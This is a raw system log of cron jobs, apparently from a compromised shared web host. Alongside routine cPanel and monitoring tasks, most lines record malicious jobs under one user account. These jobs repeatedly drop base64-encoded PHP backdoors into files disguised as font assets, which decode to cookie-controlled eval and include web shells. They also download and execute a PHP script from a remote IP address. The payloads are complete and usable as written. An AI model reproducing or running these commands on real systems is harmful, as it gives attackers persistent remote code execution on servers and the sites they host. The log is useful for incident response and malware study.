Sep 10 11:12:01 ip-184-168-122-23 CROND[26311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:12:01 ip-184-168-122-23 CROND[26312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:12:01 ip-184-168-122-23 CROND[26313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:13:01 ip-184-168-122-23 CROND[26466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:13:01 ip-184-168-122-23 CROND[26468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:13:01 ip-184-168-122-23 CROND[26467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:13:01 ip-184-168-122-23 CROND[26469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:14:01 ip-184-168-122-23 CROND[26594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:14:01 ip-184-168-122-23 CROND[26596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:14:01 ip-184-168-122-23 CROND[26599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:14:01 ip-184-168-122-23 CROND[26597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:14:01 ip-184-168-122-23 CROND[26598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:15:01 ip-184-168-122-23 CROND[26815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:15:01 ip-184-168-122-23 CROND[26817]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:15:01 ip-184-168-122-23 CROND[26819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:15:01 ip-184-168-122-23 CROND[26820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:15:01 ip-184-168-122-23 CROND[26822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:15:01 ip-184-168-122-23 CROND[26826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:16:01 ip-184-168-122-23 CROND[26936]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:16:01 ip-184-168-122-23 CROND[26938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:16:01 ip-184-168-122-23 CROND[26940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:16:01 ip-184-168-122-23 CROND[26941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:16:01 ip-184-168-122-23 CROND[26942]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 11:16:01 ip-184-168-122-23 CROND[26939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:17:01 ip-184-168-122-23 CROND[27054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:17:01 ip-184-168-122-23 CROND[27056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:17:01 ip-184-168-122-23 CROND[27058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:17:01 ip-184-168-122-23 CROND[27059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:18:01 ip-184-168-122-23 CROND[27149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:18:01 ip-184-168-122-23 CROND[27151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:18:01 ip-184-168-122-23 CROND[27159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:18:01 ip-184-168-122-23 CROND[27160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:18:01 ip-184-168-122-23 CROND[27161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:19:01 ip-184-168-122-23 CROND[27270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:19:01 ip-184-168-122-23 CROND[27272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:19:01 ip-184-168-122-23 CROND[27273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:19:01 ip-184-168-122-23 CROND[27274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:20:01 ip-184-168-122-23 CROND[27422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:20:01 ip-184-168-122-23 CROND[27424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:20:01 ip-184-168-122-23 CROND[27423]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:20:01 ip-184-168-122-23 CROND[27426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:20:01 ip-184-168-122-23 CROND[27425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:20:01 ip-184-168-122-23 CROND[27428]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 11:20:01 ip-184-168-122-23 CROND[27434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:20:01 ip-184-168-122-23 CROND[27437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:20:01 ip-184-168-122-23 CROND[27436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:21:01 ip-184-168-122-23 CROND[27644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:21:01 ip-184-168-122-23 CROND[27645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:21:01 ip-184-168-122-23 CROND[27646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:21:01 ip-184-168-122-23 CROND[27649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:22:02 ip-184-168-122-23 CROND[27790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:22:02 ip-184-168-122-23 CROND[27792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:22:02 ip-184-168-122-23 CROND[27794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:22:02 ip-184-168-122-23 CROND[27796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:22:02 ip-184-168-122-23 CROND[27793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:23:02 ip-184-168-122-23 CROND[27945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:23:02 ip-184-168-122-23 CROND[27946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:23:02 ip-184-168-122-23 CROND[27947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:23:02 ip-184-168-122-23 CROND[27948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:24:01 ip-184-168-122-23 CROND[28052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:24:01 ip-184-168-122-23 CROND[28054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:24:01 ip-184-168-122-23 CROND[28055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
